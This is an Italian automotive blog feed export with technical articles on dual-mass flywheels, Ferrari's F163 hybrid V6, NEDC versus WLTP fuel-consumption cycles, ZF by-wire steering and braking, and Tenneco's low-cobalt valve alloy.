<p class="wp-block-paragraph">Nelle applicazioni moderne, soprattutto su vetture dotate di motori diesel ad alta coppia, si utilizza un volano bi-massa. Questo rappresenta un&#8217;evoluzione del normale volano ed è costituito da una struttura che prevede un un primo disco metallico, detto disco primario che gira solidalmente con l’albero motore e trasmette il moto ad un disco secondario collegato al primo attraverso un sistema di molle. Queste ultime consentono ai due elementi circolari di ruotare in senso opposto di qualche decina di gradi.</p>



<p class="wp-block-paragraph">Ogni componente del volano bi-massa è studiato in funzione delle caratteristiche strutturali e di erogazione del motore a cui viene collegato. Questo tipo di volano ha un duplice compito. Oltre a svolgere il compito tradizionale, il sistema di molle permette di smorzare le vibrazioni limitando la risonanza meccanica, grazie alla scomposizione delle masse e al montaggio elastico.</p>



<h2 class="wp-block-heading"><strong>Scegliere bene per contenere i costi</strong></h2>



<p class="wp-block-paragraph">In sostanza il volano bi-massa armonizza la catena cinematica rendendo più morbido e fluido l’intervento della frizione. Ciò si traduce in un maggior confort di marcia essendo più leggero ed elastico assorbendo in modo più efficace le oscillazioni incrementando la longevità degli organi della trasmissione. </p>



<p class="wp-block-paragraph">Ha, tuttavia, costi sensibilmente superiori ed è più delicato. Infatti, uno degli elementi che hanno problemi di affidabilità sono le molle che gestiscono l’azione del doppio disco. Di solito, al momento della sostituzione dell’elemento frizione, spesso è richiesta anche la sostituzione del volano bi-massa. Spesso le aziende di componentistica offrono al possibilità di avere kit completi composti da frizione e volano.</p>



<p class="wp-block-paragraph">Aziende e siti c specalizzati in ricambistica consentono all’automobilista di poter attingere a tutte le aziende di componentistica presenti sul mercato che forniscono elementi come il volano per la propria auto. In questo modo si può scegliere, nel migliore dei modi, ed in tutta sicurezza il componente più adatto al proprio motore, garantito ed avendo un occhio al rapporto costi qualità in modo assolutamente flessibile.</p>
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		<title>Best Engine: Ferrari F163 con tecnologia PHEV</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 16 Sep 2022 10:34:30 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La Ferrari 296 GTB e GTS è spinta da una power train di tipo full ibrido plug-in, con ricarica esterna, in grado di percorrere fino a 25km/h in modalità full elettrico. Il sistema si compone nella sua parte endotermica, primo della famiglia di motori F163, dal nuovo turbo V6. Un propulsore che ha come caratteristica [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">La Ferrari 296 GTB e GTS è spinta da una power train di tipo full ibrido plug-in, con ricarica esterna, in grado di percorrere fino a 25km/h in modalità full elettrico. Il sistema si compone nella sua parte endotermica, primo della famiglia di motori F163, dal nuovo turbo V6. Un propulsore che ha come caratteristica l&#8217;angolo tra la V delle bancate 120° e lubrificazione a carter secco. La cilindrata totale è di 2992 cm3 ottenuta con un alesaggio da 88mm e corsa da 82 mm per una potenza che varia da 663 cv ma che arriva ad erogare 830cv aggiungendo la potenza elettrica del sistema full ibrido plug-in. Un Motore turbo che conserva molte delle caratteristiche tipiche delle motorizzazioni aspirate ad alta potenza specifica con un limite di erogazione della potenza a quota 8000 giri/min con limitatore a 8500giri/min a con una coppia di 740 Nm 6250 giri/min. Anche il rapporto di compressione è piuttosto elevato con un valore di 9,4:1 per una potenza specifica di 221cv/litro</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/09/210030-car-296-GTB-V6_Engine-730x487.jpg" alt="210030 car 296 GTB V6 Engine" class="wp-image-117559" title="Best Engine: Ferrari F163 con tecnologia PHEV 256"><figcaption>Best Engine: Ferrari F163 con tecnologia PHEV 262</figcaption></figure>



<h2 class="wp-block-heading" id="h-v6-turbo-con-angolo-di-120"><strong>V6 Turbo con angolo di 120°</strong></h2>



<p class="wp-block-paragraph">I tecnici Ferrari hanno lavorato sulla combustione migliorando l’aspirazione integrando al meglio la posizione dei supporti motore posizionati sul lato aspirazione delle testate. Le dimensioni compatte consentono di sfruttare una fluidodinamica migliore aumentando l&#8217;efficienza di aspirazione. L&#8217;architettura a V di 120° ha consentito di installare i turbo in posizione centrale, interna alle bancate, riducendo sia l’ingombro che la distanza che l&#8217;aria deve coprire per arrivare nella camera di combustione. In questo modo viene massimizzata l&#8217;efficienza fluidodinamica condotti di aspirazione e di scarico.</p>



<p class="wp-block-paragraph">L&#8217;aumento della pressione nella camera di combustione ha richiesto uno lavoro specifico per migliorare gli aspetti termo-fluidodinamici senza compromettere il peso e l&#8217;affidabilità del motore. La camera di combustione ha un’iniettore centrale e candele con iniezione a pressione di 350 bar per migliorare la composizione della miscela aria-carburante riducendo le emissioni. I condotti di aspirazione e scarico sono stati ridisegnati per massimizzare l&#8217;efficienza volumetrica garantendo elevati livelli di turbolenza nella camera.</p>



<h2 class="wp-block-heading"><strong>Nuovi collettori di aspirazione </strong></h2>



<p class="wp-block-paragraph">Rispetto alla tradizione in collettori di aspirazione sono integrati con il supporto per la valvola a farfalla e sono in materiale termoplastico utilizzato per realizzarli riduce il peso del motore. I condotti più corti consentono un migliore detuning fluidodinamico, oltre a ridurre i tempi di risposta causa del volume ridotto del condotto.</p>



<p class="wp-block-paragraph">Questa architettura ha portato anche allo sviluppo di una linea di scarico più lineare situata nella parte superiore del vano motore. La forma dello scarico realizzato in Iconel riduce la contropressione contribuendo ad aumentare le prestazioni. Si tratta di una lega acciaio-nichel che riduce il peso dello scarico rendendolo più resistente alle alte temperature.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/09/210028-car-296-GTB-V6_Engine-730x487.jpg" alt="210028 car 296 GTB V6 Engine" class="wp-image-117557" title="Best Engine: Ferrari F163 con tecnologia PHEV 257"><figcaption>Best Engine: Ferrari F163 con tecnologia PHEV 263</figcaption></figure>



<h2 class="wp-block-heading"><strong>Turbo IHI in grado di girare a 180.000 giri/minuto</strong></h2>



<p class="wp-block-paragraph">I turbocompressori IHI sono stati ridisegnati utilizzando leghe più performanti che consentono di raggiungere un regime massimo di 180.000 giri con l’efficienza aumenta del 24%. La posizione simmetrica interna alle bancate controrotante e sfruttano un condotto mono-scroll. Il diametro della girante è ridotto del 5% lato compressore e dell&#8217;11% lato caldo. La riduzione delle masse rotanti ha permesso di ridurre l&#8217;inerzia ridotta dell’11% garantendo un&#8217;erogazione istantanea della potenza.</p>



<p class="wp-block-paragraph">L’ utilizzo di leghe derivate dall&#8217;esperienza nel campo dei propulsori da F1. Anche il dimensionamento dei componenti nella progettazione del blocco motore e delle testate è stato fatto sulla base delle esperienze nelle corse. Il valvetrain, aziona le valvole con comando con bilanciere a rulli e punterie idrauliche con profili specifici per le valvole di aspirazione e scarico. L&#8217;albero motore è realizzato in acciaio nitrurato per sfruttare al meglio l’angolo della manovella di 120°.&nbsp;Dopo la forgiatura iniziale del lingotto grezzo, l&#8217;albero motore viene lavorato e sottoposto a trattamenti termici di nitrurazione profonda (per garantire la resistenza a carichi elevati) ed equilibratura. L&#8217;ordine di accensione del nuovo V6 (1-6-3-4-2-5) è basato sulla geometria del perno di banco dell&#8217;albero motore. Il 100% delle masse rotanti ed il 25% delle masse alternate sono naturalmente bilanciate riducendo i carichi sulle bronzine senza aumentare il peso del motore.</p>



<h2 class="wp-block-heading"><strong>Distribuzione a catena per migliorare l&#8217;efficienza</strong></h2>



<p class="wp-block-paragraph">La distribuzione è a catena collega l’albero motore al gruppo pompa (acqua e olio) e gli alberi a camme con un elemento dedicato per bancata. La catena principale ha un tenditore idraulico dedicato, due catene a boccole con relativo tenditore idraulico diversificata nelle tensione tra il lato destro e sinistro, oltre a un&#8217;ulteriore comando dedicato per il gruppo pompa olio.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/09/210029-car-296-GTB-V6_Engine-730x487.jpg" alt="210029 car 296 GTB V6 Engine" class="wp-image-117558" title="Best Engine: Ferrari F163 con tecnologia PHEV 258"><figcaption>Best Engine: Ferrari F163 con tecnologia PHEV 264</figcaption></figure>



<p class="wp-block-paragraph">La pompa dell&#8217;olio a cilindrata variabile è stata sviluppata per garantire che la pressione dell&#8217;olio sia costantemente controllata su tutte le fasi di funzionamento del motore. Un&#8217;elettrovalvola, comandata dalla centralina motore, è utilizzata per controllare la cilindrata della pompa in termini di portata e pressione. Questa eroga la quantità di olio necessaria a garantire il funzionamento e l&#8217;affidabilità del motore riducendo la potenza assorbita dalla pompa stessa. Per ridurre al minimo le perdite di pompaggio, il sistema di aspirazione dell&#8217;olio è stato potenziato mediante sei rotori di evacuazione: tre rotori specifici e dedicati per il carter, uno per il vano distribuzione e due per le testate.</p>



<h2 class="wp-block-heading"><strong>Un V6 con un sound da V12 </strong></h2>



<p class="wp-block-paragraph">Dal punto di vista sonoro, il V6 sfrutta la forza dei turbo e l&#8217;armonia delle note ad alta frequenza tipiche di un V12 aspirato. Grazie proprio alla scelta di avere un angolo tra le bancate di 120° Anche ai bassi regimi la colonna sonora presenta armoniche da V12. Ai regimi più alti, garantisce quei tipici acuti all’altezza delle sue prestazioni, creando un senso di coinvolgimento senza precedenti soprattutto a capote abbassata. Una sonorità umica dettata dal particolare ordine di accensione simmetrico con i collettori di scarico sintonizzati con uguale lunghezza combinandosi in un’unica l&#8217;unica linea di scarico amplificano le onde di pressione. </p>



<p class="wp-block-paragraph">Nel caso della versione GTS il vano motore è stato ridisegnato per alloggiare l&#8217;hard top adottando un sistema di risonanza dello scarico (Hot-Tube) ottimizzato per la nuova conformazione dell&#8217;abitacolo. Quando il tettuccio è abbassato l&#8217;intera esperienza di guida crea un collegamento diretto tra l&#8217;abitacolo e il suono prodotto dallo scarico.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/09/210025-car-296-GTB-V6_Engine-730x487.jpg" alt="210025 car 296 GTB V6 Engine" class="wp-image-117554" title="Best Engine: Ferrari F163 con tecnologia PHEV 259"><figcaption>Best Engine: Ferrari F163 con tecnologia PHEV 265</figcaption></figure>



<h2 class="wp-block-heading"><strong>Propulsione elettrica derivata dalla F1</strong></h2>



<p class="wp-block-paragraph">Il motore elettrico montato posteriormente produce fino a 167 cv, ed è derivato dall’esperienza diretta in Formula 1 da cui viene prelevato anche il sistema MGU-K (Motor Generator Unit, Kinetic). Il motore elettrico e quello endotermico comunicano tramite il Transition Manager Actuator (TMA) che consente di utilizzarli entrambi per produrre una potenza combinata di 830 cv, oppure disaccoppiarli per consentire al motore elettrico di funzionare da solo</p>



<p class="wp-block-paragraph">La trasmissione con cambio a DCT a 8 rapporti ha il motore elettrico MGU-K posizionato tra motore e cambio, il TMA per disaccoppiare il motore elettrico dall’endotermico e la batteria ad alta tensione da 7,45 Kwh con l&#8217;inverter che gestisce la potenza da inviare ai motori elettrici.</p>



<h2 class="wp-block-heading"><strong>MGU-K sviluppata dalle corse </strong></h2>



<p class="wp-block-paragraph">L&#8217;MGU-K è un motore a flusso assiale a statore singolo e doppio rotore. Le sue dimensioni compatte e la sua struttura hanno permesso di ridurre la lunghezza del propulsore che ha contribuito ad accorciare il passo della Ferrari 296. Il motore elettrico carica la batteria ad alta tensione, accende il V6 fornendo la coppia e la potenza aggiuntiva di 315 Nm, circa il 20% in più rispetto alle applicazioni precedenti.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/09/01_296_GTB_Engine_alto-730x516.jpg" alt="01 296 GTB Engine alto" class="wp-image-117552" title="Best Engine: Ferrari F163 con tecnologia PHEV 260"><figcaption>Best Engine: Ferrari F163 con tecnologia PHEV 266</figcaption></figure>



<p class="wp-block-paragraph">Il TMA (Transition Manager Actuator) consente il passaggio dalla modalità elettrica a quella ibrida garantendo una coppia graduale e progressiva. Il suo software di controllo, sviluppato da Ferrari, comunica con il software del DCT, la centralina motore e l’inverter per gestire in modo più efficiente l&#8217;accensione del motore benzina e la sua disconnessione alla trasmissione. Grazie a componenti di nuova generazione, il TMA ha consentito la progettazione di una trasmissione incredibilmente compatta riducendo la lunghezza del gruppo propulsore di soli 54,3 mm. La sua architettura comprende una frizione a secco a triplo disco, un modulo di comando e centraline elettroniche di controllo.</p>



<p class="wp-block-paragraph"><strong>Tecnologia PHEV con 25km di autonomia in EV</strong></p>



<p class="wp-block-paragraph">La batteria ad alta tensione ha una capacità di 7,45 kWh posizionato sotto il pavimento dietro i sedili e per ridurre al minimo il volume ed il peso. Il sistema di raffreddamento, la struttura ed i punti di fissaggio sono integrati in un unico componente. L’intero elemento si compone di moduli con 80 celle collegate in serie. Un Cell Supervisor Controller è installato direttamente nei moduli per ridurre volume e peso.</p>



<p class="wp-block-paragraph">L&#8217;inverter si basa su due moduli al silicio collegati in parallelo, la cui modalità di erogazione della potenza è stata ottimizzata per ottenere l&#8217;aumento di coppia dell&#8217;MGU-K. Questo componente converte l&#8217;energia elettrica con un livello di efficienza estremamente elevato (oltre il 94%) fornendo la potenza necessaria per avviare il V6 anche quando c&#8217;è la massima richiesta di energia elettrica.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/09/02_296_GTB_Engine_34-730x516.jpg" alt="02 296 GTB Engine 34" class="wp-image-117553" title="Best Engine: Ferrari F163 con tecnologia PHEV 261"><figcaption>Best Engine: Ferrari F163 con tecnologia PHEV 267</figcaption></figure>



<h2 class="wp-block-heading"><strong>Ricarica rapida e frenata rigenerativa</strong></h2>



<p class="wp-block-paragraph">Per quanto riguarda le principali funzioni di carica, al posteriore è prevista la frenata rigenerativa sia in condizioni di frenata normale che con l’intervento dell&#8217;ABS, la sovrafrenata sul retrotreno in staccata viene gestita per ricaricare la batteria e gestire il freno motore. Quando in modalità eDrive il motore elettrico aziona solo le ruote posteriori ma passa alla modalità ibrida in base alla pressione sul pedale dell&#8217;acceleratore.</p>



<p class="wp-block-paragraph">Il recupero di energia sfrutta la nuova unità Brake-by-Wire gestisce la miscelazione della forza idraulica ed elettrica in tutte le modalità di funzionamento (ABS compreso). Grazie al Brake-by-Wire, la corsa del pedale è ridotta al minimo assoluto, il che aumenta la sensazione di sportività senza trascurare l&#8217;efficienza in caso di frenata leggera oppure conservando una corsa del pedale tipicamente da uso in pista. Il modulo di controllo ABS, integrato con il sensore 6w-CDS, consente di spingere ulteriormente i limiti di aderenza degli pneumatici posteriori, aumentando la ripetibilità degli spazi di arresto migliorando le prestazioni in curva consentendo al guidatore di tenere la frenata fin dentro la curva in modo stabile.</p>



<h2 class="wp-block-heading"><strong>eManettino per la gestione delle prestazioni</strong></h2>



<p class="wp-block-paragraph">Il Manettino diventa, eManettino ed ha quattro posizioni selezionabili dal volante. eDrive: il motore a combustione interna è spento con la trazione elettrica alle ruote posteriori e 25 km di autonomia ad una velocità massima di 135 km/h. Ibrida (H): questa è la modalità predefinita all&#8217;accensione. I flussi di potenza sono gestiti per la massima efficienza e la logica di controllo definisce l&#8217;intervento del motore a combustione interna bilanciando potenza e prestazioni. Performance: l&#8217;ICE è sempre acceso e aiuta a mantenere l&#8217;efficienza della batteria per garantire la piena potenza in ogni momento. Questa è l&#8217;impostazione ideale per la guida sportiva. Ed infine una funzione adatta alla pista per offrire il massimo delle prestazioni ma a costo di una minore ricarica della batteria</p>



<p class="wp-block-paragraph">Le prestazioni dichiarano una velocità massima di 330 km/h per un accelerazione sullo 0-100 km/h in 2,9 sec, sullo 0-200 km/h in 7,6 sec coperti in soli 107 metri. Da notare che il tempo sulla pista di Fiorano è stato ottenuto con 1&#8242; 21&#8243; 80.</p>



<p class="wp-block-paragraph"></p>
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		<title>Consumi: Differenze tra i cicli Nedc e Wltp</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 18 Aug 2022 19:23:56 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il mondo di oggi è alle prese con crisi economiche e sconvolgimenti geo-politici. Situazioni che mettono a dura prova le tasche degli automobilisti in tema di caro carburanti. Quest’ultimo trova molto più interessante verificare il consumo della prossima auto che deve acquistare piuttosto che le prestazioni. Molti se non tutti sono pervasi da un forte [&#8230;]</p>
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<p class="wp-block-paragraph">Il mondo di oggi è alle prese con crisi economiche e sconvolgimenti geo-politici. Situazioni che mettono a dura prova le tasche degli automobilisti in tema di caro carburanti. Quest’ultimo trova molto più interessante verificare il consumo della prossima auto che deve acquistare piuttosto che le prestazioni.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/08/WLTP-and-NEDC-speed-profiles-and-basic-characteristics-Alessandro-Marotta-et-al-2015-593x730.png" alt="WLTP and NEDC speed profiles and basic characteristics Alessandro Marotta et al 2015" class="wp-image-116764" title="Consumi: Differenze tra i cicli Nedc e Wltp 268"><figcaption>Consumi: Differenze tra i cicli Nedc e Wltp 271</figcaption></figure>



<p class="wp-block-paragraph">Molti se non tutti sono pervasi da un forte senso di scetticismo sui dati dichiarati dai costruttori in termini di consumi. I due cicli che vengono usati per verificare il consumo, il NEDC ed IL WLTP non godono certo della fama di essere sinceri in modo assoluto.</p>



<p class="wp-block-paragraph">Il NEDC (New European Driving Cycle) aveva molte lacune. Difetti di valutazione dei consumi messi in evidenza in modo imbarazzante dal Diesel Gate che ha visto coinvolto il gruppo Volkwagen qualche anno fa. Questo ciclo di omologazione entra in vigore in Europa dal 1990. Si compone di un percorso che ha due rilevazioni. Una parte che simula il tratto urbano (ECE) che deve essere ripetuta quattro volte. A questa si aggiunge una parte di collaudo exstraurbano (EUDC) con una velocità di punta pari a 120KM/h, ma solo per dieci secondi. In tutto il test di rilevamento dura 20 minuti, con una velocità media di percorrenza di 33,6km/h.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/08/singleimageimage.resizedViewPort.noscale.assetRootXL-730x404.jpg" alt="singleimageimage.resizedViewPort.noscale.assetRootXL" class="wp-image-116765" title="Consumi: Differenze tra i cicli Nedc e Wltp 269"><figcaption>Consumi: Differenze tra i cicli Nedc e Wltp 272</figcaption></figure>



<p class="wp-block-paragraph">Questo ciclo viene svolta in laboratorio su banco rulli. La scelta può apparire irrealistica ma è sensata. Per costruttori che producono e progettano auto nelle zone più disparate del mondo avere un terreno comune di giudizio era fondamentale per i tecnici. Il vero problema semmai era nella realizzazione della prova da parte dello staff di collaudo. Condizioni di accelerazione blande e veleggiamento eccessivo che non corrisponde alla marcia reale neanche se il migliore collaudatore guiderebbe l’auto di prova.</p>



<p class="wp-block-paragraph">Lo scandalo dei motori diesel, ha spinto a trovare una nuova norma, o ad accelerare la sua approvazione con il ciclo WLTP (Worldwide harmonized Light vehicle Test Producture). Il test si svolge sia un laboratorio che con una parte stradale reale. I parametri di valutazione vengono suddivisi in base al rapporto peso potenza separando i veicoli leggeri, da quelli dedicati al trasporto merci e passeggeri. Il ciclo di prova è stato allungato a 30 minuti, e prevede quattro fasi. Tre aree di test effettuate a velocità crescente per simulare, il cittadino, l’extraurbano, la velocità autostradale a 130Km/h con punte che superano questo valore fino a 140km/h, per una media complessiva di 46,5km/h di percorrenza.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/08/singleimageimage.resizedViewPort.scale_.assetRootXL-730x404.jpg" alt="singleimageimage.resizedViewPort.scale .assetRootXL" class="wp-image-116766" title="Consumi: Differenze tra i cicli Nedc e Wltp 270"><figcaption>Consumi: Differenze tra i cicli Nedc e Wltp 273</figcaption></figure>



<p class="wp-block-paragraph">Per quanto sia difficile da replicare per l’automobilista medio, il WLTP è comunque più vicino alla realtà di quanto non sia il vecchio NEDC. Basta un po di perizia con un impegno non molto eccessivo per avere una distanza tra il teorico ed il reale in meno del 10%. Quindi è evidente che il valore da tenere in considerazione anche per mettere a confronto modelli diversi per la scelta della prossima auto è il WLTP. Sapendo come è composta la prova, magari organizzare un ciclo di test drive presso il dealer che tende a coprire le fasi di questo test per verificare le differenze sfruttando la strumentazione di bordo.</p>



<p class="wp-block-paragraph">Al di la degli aspetti economici legati ai consumi, c’è sempre una certa coscienza ecologica che sta crescendo nella popolazione automobilistica. In questo caso i costruttori devono verificare su strada con un’apposita strumentazione appollaiata dietro la vettura denominata PEMS. (Portabile Emissions Messurement System). Questo strumento, complesso nella messa appunto, ha il compito di verificare in modo realistico e stabilire il limite di emissioni soprattutto in merito di NOx che poi il veicolo dovrà rispettare per la sua esistenza.</p>
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		<title>ZF: Il futuro della mobilità by-wire</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 08 Aug 2022 08:25:05 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>I veicoli moderni diventano sempre più elettrificati, automatizzati e controllati da software. ZF è in prima linea nello sviluppo e nell’industrializzazione di sistemi avanzati per la gestione del telaio, con la gamma più completa del settore di tecnologie by-wire che fanno a meno del collegamento meccanico o di fluidi di sistema. Lo steer-by-wire di ZF [&#8230;]</p>
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<p class="wp-block-paragraph">I veicoli moderni diventano sempre più elettrificati, automatizzati e controllati da software. ZF è in prima linea nello sviluppo e nell’industrializzazione di sistemi avanzati per la gestione del telaio, con la gamma più completa del settore di tecnologie by-wire che fanno a meno del collegamento meccanico o di fluidi di sistema. Lo steer-by-wire di ZF è una di queste è sarà presto diffuso una numerosa quantità di veicoli di cui il colosso tedesco e fornitore. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/08/1-ZF-By-Wire-Technologies-e1658333073271-730x547.jpg" alt="1 ZF By Wire Technologies e1658333073271" class="wp-image-116494" title="ZF: Il futuro della mobilità by-wire 274"><figcaption>ZF: Il futuro della mobilità by-wire 277</figcaption></figure>



<p class="wp-block-paragraph">I sistemi steer-by-wire, consentono un controllo completamente autonomo del veicolo per navette e robotaxi. Nei veicoli per trasporto privato offre funzionalità uniche. Il volante può essere retrattile in base alla modalità di guida anche completamente automatizzate. Il  controllo dello sterzo, integralmente adattabile, riduce l’angolo di sterzo per il parcheggio o manovre a bassa velocità, migliorando la sicurezza passiva grazie all’eliminazione del piantone dello sterzo. Questa soluzione appare ideale per i turi veicoli elettrici e automatizzati.</p>



<h2 class="wp-block-heading"><strong>ZF Group guida la trasformazione steer-by-wire</strong></h2>



<p class="wp-block-paragraph">Ieri ZF ha annunciato che questa tecnologia sarà lanciata su scala industriale da un’importante casa automobilistica a livello mondiale entro il prossimo anno. Inoltre questo sistema di integra con il controllo integrato della frenata (Integrated Brake Control), a sua volta prevalentemente controllato dalla tecnologia by-wire. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/08/3-ZF-Steer-by-Wire-e1658333117353-730x548.jpg" alt="3 ZF Steer by Wire e1658333117353" class="wp-image-116495" title="ZF: Il futuro della mobilità by-wire 275"><figcaption>ZF: Il futuro della mobilità by-wire 278</figcaption></figure>



<h2 class="wp-block-heading"><strong>Plasmare il futuro by-wire</strong></h2>



<p class="wp-block-paragraph">Il piano ZF è quello di confermare la sua leadership nei sistemi steer-by-wire, incluso sterzo su ruote posteriori, brake-by-wire, con controllo integrato della frenata e sospensione attiva a controllo elettronico, diventando il produttore di riferimento per tali sistemi entro il 2030. </p>



<p class="wp-block-paragraph">Queste tecnologie saranno combinate tra loro per ottenere soluzioni che offrano miglioramenti maggiori di quelli che potrebbero offrire individualmente. In questo contesto, il software e le combinate architetture elettriche/elettroniche (E/E) sono fondamentali nel fornire valore aggiunto. I sistemi by-wire offrono maggiori livelli di controllo del veicolo consentendo spazi di arresto ridotti, maggiore libertà nelle manovre, migliore stabilità alle alte velocità e maggiore autonomia ed efficienza.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/08/5-ZF-Brake-by-Wire-e1658333353527-730x548.jpg" alt="5 ZF Brake by Wire e1658333353527" class="wp-image-116496" title="ZF: Il futuro della mobilità by-wire 276"><figcaption>ZF: Il futuro della mobilità by-wire 279</figcaption></figure>



<p class="wp-block-paragraph">Con le tecnologie by-wire l’entità dell’assistenza alla sterzata o della coppia frenante può essere ottimizzata per emulare la tipica sensazione che i conducenti si aspettano, ma può anche essere regolata all’istante per incrementare la forza frenante e ridurre lo spazio di arresto, o per evitare un ostacolo più abilmente di quanto saprebbero fare i conducenti stessi.</p>



<p class="wp-block-paragraph">Il sistema di frenata IBC brake-by-wire di ZF consente la frenata rigenerativa e il recupero di energia che aiuta a ricaricare le batterie dei veicoli elettrici, unendosi alla tecnologia eDrive per incrementare il motion control, aumentare l’autonomia e offrire un sistema più compatto.</p>
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		<title>Tenneco: FM-T88A la soluzione per ridurre l&#8217;uso di Cobalto</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 03 Apr 2022 20:49:01 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il mercato dell’auto sta vivendo uno dei momenti peggiori in assoluto della sia storia. Prima la crisi dei microchip, poi la pandemia ed infine, giusto per non farsi mancare nulla, una situazione geopolitica decisamente complicata. Tutte insieme, sono situazioni che hanno messo in crisi le forniture materie prime, in particolare quelle rare come il Cobalto. [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Il mercato dell’auto sta vivendo uno dei momenti peggiori in assoluto della sia storia. Prima la crisi dei microchip, poi la pandemia ed infine, giusto per non farsi mancare nulla, una situazione geopolitica decisamente complicata. Tutte insieme, sono situazioni che hanno messo in crisi le forniture materie prime, in particolare quelle rare come il Cobalto. </p>



<p class="wp-block-paragraph">Per quanto possa sembrare un elefante che si muove lentamente, l’industria dell’auto può correre ai ripari potendo contare su colossi della componentistica che sanno come trovare soluzioni per ridurre i disagi. Del resto, è risaputo che l’industria meccanica ha potenzialità superiori, dal punto di vista tecnologico e di efficienza. Spesso le soluzioni tecniche più avanzate sono tenute in naftalina solo per una questioni di rapporto costi/benefici. Ma quando il momento diventa critico, allora è la necessità rende impellente una soluzione che attinga a tutta la conoscenza dei centri ricerca dei colossi della componentistica. </p>



<h2 class="wp-block-heading"><strong>La soluzione messa in campo da Tenneco</strong></h2>



<p class="wp-block-paragraph">Il cobalto viene utilizzato negli elementi che vengono sollecitati alle alte temperature fornendo resistenza all&#8217;usura lavorando con intervalli di temperatura elevati. In campo motoristico si tratta di boccole per valvole wastegate del turbocompressore, valvole EGR e le sedi delle valvole di scarico.</p>



<p class="wp-block-paragraph">In particolare, la Tenneco si è impegnata nel trovare una soluzione alla necessità di ridurre il cobalto nelle leghe sottoposte a stress meccanico e termico. Lo scopo è quello di creare un materiale che possa offrire maggiori prestazioni dal punto di vista della resistenza all&#8217;usura utilizzando un contenuto di cobalto notevolmente ridotto. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/04/Tenneco_Microstruttura_FM-T88A_500x-730x548.jpg" alt="Tenneco Microstruttura FM T88A 500x" class="wp-image-113485" title="Tenneco: FM-T88A la soluzione per ridurre l&#039;uso di Cobalto 280"><figcaption>Tenneco: FM-T88A la soluzione per ridurre l'uso di Cobalto 281</figcaption></figure>



<h2 class="wp-block-heading"><strong>Tanti gli elementi coinvolti in un automobile</strong></h2>



<p class="wp-block-paragraph">Elementi come le boccole nelle valvole EGR, o le valvole wastegate del turbocompressore come quelle dei gas di scarico possono possono essere soggette ad una variazione ti temperatura che va da meno di 0°C fino a 1000°C. Proprio questa ampia escursione rende difficile la progettazione in funzione dell’affidabilità nel tempo. Soprattutto nella gamma di temperature fino a ~400°C, i materiali ad alto contenuto di cobalto hanno reso al meglio. In questa fascia i progettisti di Tenneco sono andati oltre ridefinendo il quantitativo minimo di Cobalto per garantire un risultato efficace senza spreco.</p>



<p class="wp-block-paragraph">La ricerca ha fuso elementi tipici della lega FM-8100, una lega a base ferrosa senza l’apporto di Cobalto, con la FM-T95A, invece sinterizzato con il 54% in peso di Cobalto. Queste due leghe si pongono agli stremi di una gamma di cinque materiali con contenuto di cobalto vario suddivisi in funzione delle prestazioni dell’usura e l’intervallo di temperatura a cui rendono al meglio.</p>



<h2 class="wp-block-heading"><strong>Un risultato ottimale per costi ed affidabilità </strong></h2>



<p class="wp-block-paragraph">La nuova variante FM-T88A  è composto da un acciaio sinterizzato con il 17% di Cobalto. Una quantità che riesce a soddisfare i requisiti di produzione,  la miscelazione delle polveri, il processo di sinterizzazione, la lavorabilità ed infine la garanzia della qualità ottimale. Le prove effettuate hanno evidenziato come la lega FM-T88A ha migliorato i risultato per l’utilizzo estremo in una boccola per la valvola wastegate del turbocompressore funzionante a temperature fino a 800°C migliorando le prestazioni rispetto all’originale pur con una percentuale di Cobalto più bassa.</p>



<p class="wp-block-paragraph">Secondo i tecnici Tenneco, i risultati hanno mostrato che a 200°C la FM-T88A offre prestazioni e costi paragonabili alle leghe senza cobalto di una lega senza ridotta cobalto pur garantendo un livello di resistenza all&#8217;usura paragonabile ad un materiale ad alto contenuto di cobalto per tutto il range di temperature a cui può lavorare il componente.</p>
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		<title>Candela Bosch: funzionamento e sostituzione</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Tue, 07 Sep 2021 16:48:55 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Nei tradizionali motori a scoppio le candele di accensione fanno scaturire la scintilla che provoca la combustione del carburante all’interno del cilindro. Le candele di accensione vengono avvitate sulla testa del cilindro dell’auto con la parte inferiore, dove si trovano due elettrodi, che si affaccia direttamente nella camera di combustione. Tra i due elettrodi viene [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[
